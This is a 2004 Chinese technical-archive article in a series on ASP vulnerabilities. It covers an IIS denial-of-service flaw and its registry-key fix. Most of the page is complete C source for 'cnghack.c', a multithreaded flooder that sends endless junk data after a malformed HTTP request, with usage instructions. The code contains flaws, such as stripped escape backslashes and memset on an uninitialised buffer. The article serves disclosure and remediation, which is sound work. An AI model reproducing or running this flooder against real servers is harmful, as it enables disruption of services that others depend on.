| 
| 技术资料  > ASP技术 > 数据库相关 : ASP漏洞分析和解决方法(5) |  
ASP漏洞分析和解决方法(5) March 25,2004 |  
17 IIS web server DOS  
 
  漏洞描述: 
  默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系 
统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer"  
设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用 
下面的程序。可以很容易地对IIS server实行DOS攻击: 
 
#include <stdio.h> 
#include <windows.h> 
#define MAX_THREAD 666 
void cng(); 
char *server; 
char *buffer; 
int port; 
int counter = 0; 
int current_threads = 0; 
int main(int argc, char **argv) 
{ 
WORD tequila; 
WSADATA data; 
int p; 
DWORD tid; 
HANDLE hThread[2000]; 
//This code is as is and sucks as it is. Won't exit correctly and a lot  
of other fun things. 
//That I didn't want to take the time to do. So just ctrl+c out of the  
code. 
//Load up cnghack.exe 3 times for charm. 
printf("CNG IIS [email protected]://www.eeye.comn"For my  
beloved."n"); 
if(argc<2){ 
printf("Usage: %s [server] [port]n",argv[0]); 
exit(1); 
} 
buffer=malloc(17500); 
memset( buffer, 'A', strlen(buffer)); 
server=argv[1]; 
port=atoi(argv[2]); 
tequila = MAKEWORD( 1, 1 ); 
printf("Attempting to start winsock... "); 
if( (WSAStartup(tequila, &data)) !=0 ){ 
printf("failed to start winsock.n"); 
exit(1); 
} 
else{ 
printf("started winsock.nn"); 
} 
 
counter = 0; 
for(p = 0 ; p < MAX_THREAD ; ++p ){ 
hThread[counter] = CreateThread(0, 
0, 
(LPTHREAD_START_ROUTINE) cng, 
( void * )++counter, 
0, 
&tid); 
} 
Sleep(250); 
while( current_threads ) 
Sleep(250); 
counter = 0; 
printf("Terminated Threads.n"); 
while (counter < MAX_THREAD) 
{ 
TerminateThread( hThread[counter], 0 ); 
++counter; 
} 
WSACleanup(); 
return 0; 
} 
 
void cng() 
{ 
int SockFD=0, p; 
struct sockaddr_in DstSAin; 
char GETKILLED[]="GET / HTTP/rn"; 
int die=1; 
printf("Entered CNGn"); 
++current_threads; 
DstSAin.sin_family = AF_INET; 
DstSAin.sin_port = htons((u_short)port); 
DstSAin.sin_addr.s_addr=inet_addr( server ); 
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ 
printf("Failed to create socketn"); 
--current_threads; 
return; 
} 
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) 
{ 
p=send(SockFD,GETKILLED,strlen(GETKILLED),0); 
printf("Step 1: %in", p); 
for(;;){ 
p=send(SockFD,buffer,strlen(buffer),0); 
printf("P: %in", p); 
//put in some code to check if send = -1 more then X times we drop  
the loop and exit the thread 
//bla bla bla i love the dirtiness of concept code. 
} 
} 
--current_threads; 
printf("Exited CNGn"); 
return; 
} 
 
cnghack.c works by doing the following:  
Connects to example.com 
Sends: GET / HTTP/[return][buffer] 
 
Where: 
[return] is just an rn 
[buffer] is a never ending stream of A's 
 
  攻击结果将导致NT系统的CPU占用率达到 100% 
 
  解决方案  
  运行Regedt32.exe 
在:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw3svcparameters  
增加一个值: 
Value Name: MaxClientRequestBuffer 
Data Type: REG_DWORD  
  设置为十进制 
  具体数值设置为你想设定的IIS允许接受的URL最大长度。 
  CNNS的设置为256  |  
 
 |